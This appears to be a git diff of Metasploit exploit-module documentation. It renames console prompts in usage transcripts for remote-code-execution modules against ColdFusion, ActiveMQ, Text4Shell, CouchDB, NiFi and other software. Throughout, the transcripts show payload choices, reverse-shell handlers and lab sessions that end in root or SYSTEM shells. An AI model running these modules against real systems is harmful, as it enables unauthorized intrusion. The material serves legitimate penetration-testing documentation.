Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360.md b/documentation/modules/exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360.md index 6ac59b945fa8a..85a96f1b9fc71 100644 --- a/documentation/modules/exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360.md +++ b/documentation/modules/exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360.md @@ -45,9 +45,9 @@ access to this port. For example on Linux you can run `sudo ufw allow 8500/tcp`. ## Scenarios ### Generic Java (Adobe ColdFusion 2021 Update 5 on Windows Server 2022) ``` -msf6 > use exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360 +msf > use exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360 [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > show options +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > show options Module options (exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360): @@ -106,15 +106,15 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set LHOST eth0 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set LHOST eth0 LHOST => 172.23.57.124 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set SRVHOST eth0 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set SRVHOST eth0 SRVHOST => 172.23.57.124 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.49.239 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.49.239 RHOST => 172.23.49.239 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check [*] 172.23.49.239:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown. -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit [*] Started reverse TCP handler on 172.23.57.124:4444 [*] Using URL: http://172.23.57.124:8080/ @@ -133,22 +133,22 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.23.49.239 - Meterpreter session 1 closed. Reason: User exit -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > ``` ### Windows Command (Adobe ColdFusion 2021 Update 5 on Windows Server 2022) ``` -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set LHOST eth0 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set LHOST eth0 LHOST => 172.23.9.70 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.13.12 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.13.12 RHOST => 172.23.13.12 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 1 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 1 target => 1 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD cmd/windows/powershell_reverse_tcp +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD cmd/windows/powershell_reverse_tcp PAYLOAD => cmd/windows/powershell_reverse_tcp -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check [*] 172.23.13.12:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown. -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit [*] Started reverse TCP handler on 172.23.9.70:4444 [*] Powershell session session 1 opened (172.23.9.70:4444 -> 172.23.13.12:57546) at 2023-04-06 12:20:27 +0100 @@ -158,18 +158,18 @@ nt authority\system PS C:\ColdFusion2021\cfusion\bin> exit [*] 172.23.13.12 - Powershell session session 1 closed. Reason: User exit -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > ``` ### Windows Dropper (Adobe ColdFusion 2021 Update 5 on Windows Server 2022) ``` -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 2 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 2 target => 2 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD windows/x64/meterpreter_reverse_tcp +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD windows/x64/meterpreter_reverse_tcp PAYLOAD => windows/x64/meterpreter_reverse_tcp -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check [*] 172.23.13.12:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown. -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit [*] Started reverse TCP handler on 172.23.9.70:4444 [*] Command Stager progress - 0.73% done (2047/279726 bytes) @@ -187,20 +187,20 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.23.13.12 - Meterpreter session 1 closed. Reason: Died -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > ``` ### Linux Command (Adobe ColdFusion 2021 Update 5 on Ubuntu 22.04) ``` -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 3 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 3 target => 3 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD cmd/unix/reverse_perl +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD cmd/unix/reverse_perl PAYLOAD => cmd/unix/reverse_perl -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.0.98 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.0.98 RHOST => 172.23.0.98 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check [*] 172.23.0.98:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown. -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit [*] Started reverse TCP handler on 172.23.9.70:4444 [*] Command shell session 2 opened (172.23.9.70:4444 -> 172.23.0.98:47598) at 2023-04-06 12:27:55 +0100 @@ -213,15 +213,15 @@ pwd ### Linux Dropper (Adobe ColdFusion 2021 Update 5 on Ubuntu 22.04) ``` -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 4 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 4 target => 4 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.0.98 +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.0.98 RHOST => 172.23.0.98 -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check [*] 172.23.0.98:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown. -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit [*] Started reverse TCP handler on 172.23.9.70:4444 [*] Using URL: http://172.23.9.70:8080/lzD4G6tt1 @@ -240,5 +240,5 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.23.0.98 - Meterpreter session 2 closed. Reason: User exit -msf6 exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > +msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > ``` diff --git a/documentation/modules/exploit/multi/http/agent_tesla_panel_rce.md b/documentation/modules/exploit/multi/http/agent_tesla_panel_rce.md index 21b07b8958a1e..f76900285fb76 100644 --- a/documentation/modules/exploit/multi/http/agent_tesla_panel_rce.md +++ b/documentation/modules/exploit/multi/http/agent_tesla_panel_rce.md @@ -133,12 +133,12 @@ The Agent Tesla CnC username to authenticate with (needed for authenticated RCE ### WebPanel1.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 5.6.40, Apache 2.4.41, MariaDB 10.4.10 ``` -msf5 > use exploit/multi/http/agent_tesla_panel_rce -msf5 exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5 +msf > use exploit/multi/http/agent_tesla_panel_rce +msf exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5 LHOST => 169.254.115.5 -msf5 exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16 +msf exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16 RHOSTS => 169.254.162.16 -msf5 exploit(multi/http/agent_tesla_panel_rce) > show options +msf exploit(multi/http/agent_tesla_panel_rce) > show options Module options (exploit/multi/http/agent_tesla_panel_rce): @@ -169,11 +169,11 @@ Exploit target: 0 Automatic (PHP-Dropper) -msf5 exploit(multi/http/agent_tesla_panel_rce) > set LPORT 6633 +msf exploit(multi/http/agent_tesla_panel_rce) > set LPORT 6633 LPORT => 6633 -msf5 exploit(multi/http/agent_tesla_panel_rce) > check +msf exploit(multi/http/agent_tesla_panel_rce) > check [+] 169.254.162.16:80 - The target is vulnerable. -msf5 exploit(multi/http/agent_tesla_panel_rce) > exploit +msf exploit(multi/http/agent_tesla_panel_rce) > exploit [*] Started reverse TCP handler on 169.254.115.5:6633 [*] Executing automatic check (disable AutoCheck to override) @@ -215,16 +215,16 @@ meterpreter > ### WebPanel2.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10 ``` -msf5 > use exploit/multi/http/agent_tesla_panel_rce -msf5 exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5 +msf > use exploit/multi/http/agent_tesla_panel_rce +msf exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5 LHOST => 169.254.115.5 -msf5 exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test +msf exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test USERNAME => test -msf5 exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test +msf exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test PASSWORD => test -msf5 exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16 +msf exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16 RHOSTS => 169.254.162.16 -msf5 exploit(multi/http/agent_tesla_panel_rce) > show options +msf exploit(multi/http/agent_tesla_panel_rce) > show options Module options (exploit/multi/http/agent_tesla_panel_rce): @@ -255,7 +255,7 @@ Exploit target: 0 Automatic (PHP-Dropper) -msf5 exploit(multi/http/agent_tesla_panel_rce) > exploit +msf exploit(multi/http/agent_tesla_panel_rce) > exploit [*] Started reverse TCP handler on 169.254.115.5:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -296,8 +296,8 @@ meterpreter > ### WebPanel3.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10 ``` -msf5 > use exploit/multi/http/agent_tesla_panel_rce -msf5 exploit(multi/http/agent_tesla_panel_rce) > show options +msf > use exploit/multi/http/agent_tesla_panel_rce +msf exploit(multi/http/agent_tesla_panel_rce) > show options Module options (exploit/multi/http/agent_tesla_panel_rce): @@ -328,17 +328,17 @@ Exploit target: 0 Automatic (PHP-Dropper) -msf5 exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16 +msf exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16 RHOSTS => 169.254.162.16 -msf5 exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5 +msf exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5 LHOST => 169.254.115.5 -msf5 exploit(multi/http/agent_tesla_panel_rce) > set LPORT 5566 +msf exploit(multi/http/agent_tesla_panel_rce) > set LPORT 5566 LPORT => 5566 -msf5 exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test +msf exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test USERNAME => test -msf5 exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test +msf exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test PASSWORD => test -msf5 exploit(multi/http/agent_tesla_panel_rce) > exploit +msf exploit(multi/http/agent_tesla_panel_rce) > exploit [*] Started reverse TCP handler on 169.254.115.5:5566 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/apache_activemq_upload_jsp.md b/documentation/modules/exploit/multi/http/apache_activemq_upload_jsp.md index a7ba772e5005d..f3cc5dd361748 100644 --- a/documentation/modules/exploit/multi/http/apache_activemq_upload_jsp.md +++ b/documentation/modules/exploit/multi/http/apache_activemq_upload_jsp.md @@ -97,13 +97,13 @@ fails, attempt `/admin/`) ``` $ msfconsole -q -msf6 > use multi/http/apache_activemq_upload_jsp +msf > use multi/http/apache_activemq_upload_jsp [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_activemq_upload_jsp) > set LHOST 172.18.0.1 +msf exploit(multi/http/apache_activemq_upload_jsp) > set LHOST 172.18.0.1 LHOST => 172.18.0.1 -msf6 exploit(multi/http/apache_activemq_upload_jsp) > set RHOST 127.0.0.1 +msf exploit(multi/http/apache_activemq_upload_jsp) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(multi/http/apache_activemq_upload_jsp) > show options +msf exploit(multi/http/apache_activemq_upload_jsp) > show options Module options (exploit/multi/http/apache_activemq_upload_jsp): @@ -135,7 +135,7 @@ Exploit target: 0 Java Universal -msf6 exploit(multi/http/apache_activemq_upload_jsp) > exploit +msf exploit(multi/http/apache_activemq_upload_jsp) > exploit [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Uploading http://127.0.0.1:8161//opt/activemq/webapps/api//mNhqqxqibzBbGvw.jar diff --git a/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md b/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md index 333dc2832485f..7e83bcdb187af 100644 --- a/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md +++ b/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md @@ -45,9 +45,9 @@ An IP address that is knew to be in the allowed list (Default: `127.0.0.1`). ## Scenarios ``` -msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash +msf exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444 +msf exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444 [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -61,5 +61,5 @@ uname -a Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux exit [*] 127.0.0.1 - Command shell session 1 closed. -msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > +msf exploit(multi/http/apache_apisix_api_default_token_rce) > ``` diff --git a/documentation/modules/exploit/multi/http/apache_commons_text4shell.md b/documentation/modules/exploit/multi/http/apache_commons_text4shell.md index 81f6d8a1237ef..86a3fa85d3fb7 100644 --- a/documentation/modules/exploit/multi/http/apache_commons_text4shell.md +++ b/documentation/modules/exploit/multi/http/apache_commons_text4shell.md @@ -52,28 +52,28 @@ The URI to target. Default: `/` Check: ``` -msf6 > use exploit/multi/http/apache_commons_text4shell +msf > use exploit/multi/http/apache_commons_text4shell [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0 +msf exploit(multi/http/apache_commons_text4shell) > set lhost docker0 lhost => 172.17.0.1 -msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2 +msf exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2 rhost => 172.17.0.2 -msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080 +msf exploit(multi/http/apache_commons_text4shell) > set rport 8080 rport => 8080 -msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack +msf exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack targeturi => /text4shell/attack -msf6 exploit(multi/http/apache_commons_text4shell) > set param search +msf exploit(multi/http/apache_commons_text4shell) > set param search param => search -msf6 exploit(multi/http/apache_commons_text4shell) > check +msf exploit(multi/http/apache_commons_text4shell) > check [+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection. ``` Target: java ``` -msf6 exploit(multi/http/apache_commons_text4shell) > set target 0 +msf exploit(multi/http/apache_commons_text4shell) > set target 0 target => 0 -msf6 exploit(multi/http/apache_commons_text4shell) > run +msf exploit(multi/http/apache_commons_text4shell) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Using URL: http://172.17.0.1:8080/cuGgfHN/ @@ -86,9 +86,9 @@ meterpreter > Target: Linux Command ``` -msf6 exploit(multi/http/apache_commons_text4shell) > set target 3 +msf exploit(multi/http/apache_commons_text4shell) > set target 3 target => 3 -msf6 exploit(multi/http/apache_commons_text4shell) > run +msf exploit(multi/http/apache_commons_text4shell) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530 @@ -99,9 +99,9 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10 Target: Linux Dropper ``` -msf6 exploit(multi/http/apache_commons_text4shell) > set target 4 +msf exploit(multi/http/apache_commons_text4shell) > set target 4 target => 4 -msf6 exploit(multi/http/apache_commons_text4shell) > run +msf exploit(multi/http/apache_commons_text4shell) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/ @@ -119,7 +119,7 @@ meterpreter > Target: Windows EXE Dropper ``` -msf6 exploit(multi/http/apache_commons_text4shell) > options +msf exploit(multi/http/apache_commons_text4shell) > options Module options (exploit/multi/http/apache_commons_text4shell): @@ -165,7 +165,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/apache_commons_text4shell) > run +msf exploit(multi/http/apache_commons_text4shell) > run [*] Started reverse TCP handler on 172.18.168.145:4444 [*] Command Stager progress - 17.01% done (2046/12025 bytes) @@ -190,7 +190,7 @@ meterpreter > Target: Windows Command ``` -msf6 exploit(multi/http/apache_commons_text4shell) > options +msf exploit(multi/http/apache_commons_text4shell) > options Module options (exploit/multi/http/apache_commons_text4shell): @@ -236,7 +236,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/apache_commons_text4shell) > run +msf exploit(multi/http/apache_commons_text4shell) > run [*] Started reverse TCP handler on 172.18.168.145:4444 [*] Sending stage (175686 bytes) to 172.18.160.1 diff --git a/documentation/modules/exploit/multi/http/apache_couchdb_erlang_rce.md b/documentation/modules/exploit/multi/http/apache_couchdb_erlang_rce.md index ae0d6883a156f..0890830201ede 100644 --- a/documentation/modules/exploit/multi/http/apache_couchdb_erlang_rce.md +++ b/documentation/modules/exploit/multi/http/apache_couchdb_erlang_rce.md @@ -100,7 +100,7 @@ Then navigate to `http://:5984/_utils/` to verify that the install c ## Scenarios ### Unix Command, Ubuntu 20.04, Apache CouchDB 3.2.1 ``` -msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run +msf exploit(multi/http/apache_couchdb_erlang_rce) > run [*] Started reverse double SSL handler on 172.16.199.1:4444 [*] 172.16.199.164:4369 - Running automatic check ("set AutoCheck false" to disable) @@ -131,7 +131,7 @@ Linux ubuntu 5.15.0-50-generic #56~20.04.1-Ubuntu SMP Tue Sep 27 15:51:29 UTC 20 ### Linux Dropper, Ubuntu 20.04, Apache CouchDB 3.2.1 ``` -msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run +msf exploit(multi/http/apache_couchdb_erlang_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] 172.16.199.164:4369 - Running automatic check ("set AutoCheck false" to disable) @@ -162,7 +162,7 @@ meterpreter > exit ### Windows Command, Windows 10, Apache CouchDB 2.3.1 ``` -msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run +msf exploit(multi/http/apache_couchdb_erlang_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] 172.16.199.137:4369 - Running automatic check ("set AutoCheck false" to disable) @@ -194,7 +194,7 @@ PS C:\CouchDB> ### Windows Dropper, Windows 10, Apache CouchDB 2.3.1 ``` -msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run +msf exploit(multi/http/apache_couchdb_erlang_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] 172.16.199.137:4369 - Running automatic check ("set AutoCheck false" to disable) @@ -226,7 +226,7 @@ meterpreter > ### PowerShell Stager, Windows 10, Apache CouchDB 2.3.1 ``` -msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run +msf exploit(multi/http/apache_couchdb_erlang_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] 172.16.199.137:4369 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/apache_druid_cve_2023_25194.md b/documentation/modules/exploit/multi/http/apache_druid_cve_2023_25194.md index 078799769b8f6..4c070badacbf4 100644 --- a/documentation/modules/exploit/multi/http/apache_druid_cve_2023_25194.md +++ b/documentation/modules/exploit/multi/http/apache_druid_cve_2023_25194.md @@ -41,7 +41,7 @@ Metasploit: ### Apache Kafka-clients 3.3.1 on Druid version 25.0.0 ``` -msf6 exploit(multi/http/apache_druid_cve_2023_25194) > exploit +msf exploit(multi/http/apache_druid_cve_2023_25194) > exploit [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.md b/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.md index 6add9e294bf2b..ba72f4659a688 100644 --- a/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.md +++ b/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.md @@ -32,15 +32,15 @@ Metasploit: ### Apache Flink version 1.9.3 on Ubuntu 18.04.4 ``` -msf6 > use exploit/multi/http/apache_flink_jar_upload_exec +msf > use exploit/multi/http/apache_flink_jar_upload_exec [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.194 +msf exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.194 rhosts => 172.16.191.194 -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > check +msf exploit(multi/http/apache_flink_jar_upload_exec) > check [*] 172.16.191.194:8081 - The target appears to be vulnerable. Apache Flink version 1.9.3. -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 +msf exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > run +msf exploit(multi/http/apache_flink_jar_upload_exec) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -65,15 +65,15 @@ meterpreter > ### Apache Flink version 1.11.2 on Windows 10 ``` -msf6 > use exploit/multi/http/apache_flink_jar_upload_exec +msf > use exploit/multi/http/apache_flink_jar_upload_exec [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.193 +msf exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.193 rhosts => 172.16.191.193 -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > check +msf exploit(multi/http/apache_flink_jar_upload_exec) > check [*] 172.16.191.193:8081 - The target appears to be vulnerable. Apache Flink version 1.11.2. -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 +msf exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(multi/http/apache_flink_jar_upload_exec) > run +msf exploit(multi/http/apache_flink_jar_upload_exec) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md b/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md index 4bb282125b6c6..24defbd7a02ef 100644 --- a/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md +++ b/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md @@ -164,22 +164,22 @@ The version of NiFi that was installed on both platforms was 1.12.1. ``` $ msfconsole -q -msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce +msf exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce [*] Using configured payload cmd/unix/reverse_bash -msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131 +msf exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131 lhost => 192.168.194.131 -msf5 exploit(multi/http/apache_nifi_processor_rce) > set target 1 +msf exploit(multi/http/apache_nifi_processor_rce) > set target 1 target => 1 -msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 192.168.194.140 +msf exploit(multi/http/apache_nifi_processor_rce) > set rhost 192.168.194.140 rhost => 192.168.194.140 -msf5 exploit(multi/http/apache_nifi_processor_rce) > check +msf exploit(multi/http/apache_nifi_processor_rce) > check [*] 192.168.194.140:8080 - The target appears to be vulnerable. -msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z +msf exploit(multi/http/apache_nifi_processor_rce) > run -z [*] Started reverse TCP handler on 192.168.194.131:4444 [*] Waiting 5 seconds before stopping and deleting [*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.140:50008) at 2020-10-03 13:17:58 +0100 [*] Session 1 created in the background. -msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions +msf exploit(multi/http/apache_nifi_processor_rce) > sessions Active sessions =============== @@ -195,33 +195,33 @@ It can be seen that it fails the first time because authentication is required, ``` $ msfconsole -q -msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce +msf exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce [*] Using configured payload cmd/unix/reverse_bash -msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131 +msf exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131 lhost => 192.168.194.131 -msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 127.0.0.1 +msf exploit(multi/http/apache_nifi_processor_rce) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf5 exploit(multi/http/apache_nifi_processor_rce) > set ssl true +msf exploit(multi/http/apache_nifi_processor_rce) > set ssl true [!] Changing the SSL option's value may require changing RPORT! ssl => true -msf5 exploit(multi/http/apache_nifi_processor_rce) > set rport 9443 +msf exploit(multi/http/apache_nifi_processor_rce) > set rport 9443 rport => 9443 -msf5 exploit(multi/http/apache_nifi_processor_rce) > check +msf exploit(multi/http/apache_nifi_processor_rce) > check [*] 127.0.0.1:9443 - The service is running, but could not be validated. -msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z +msf exploit(multi/http/apache_nifi_processor_rce) > run -z [*] Started reverse TCP handler on 192.168.194.131:4444 [-] Exploit aborted due to failure: bad-config: Authentication is required. Bearer-Token or Username and Password must be specified [*] Exploit completed, but no session was created. -msf5 exploit(multi/http/apache_nifi_processor_rce) > set username admin +msf exploit(multi/http/apache_nifi_processor_rce) > set username admin username => admin -msf5 exploit(multi/http/apache_nifi_processor_rce) > set password admin +msf exploit(multi/http/apache_nifi_processor_rce) > set password admin password => admin -msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z +msf exploit(multi/http/apache_nifi_processor_rce) > run -z [*] Started reverse TCP handler on 192.168.194.131:4444 [*] Waiting 5 seconds before stopping and deleting [*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:50802) at 2020-10-03 13:18:00 +0100 [*] Session 1 created in the background. -msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions +msf exploit(multi/http/apache_nifi_processor_rce) > sessions Active sessions =============== 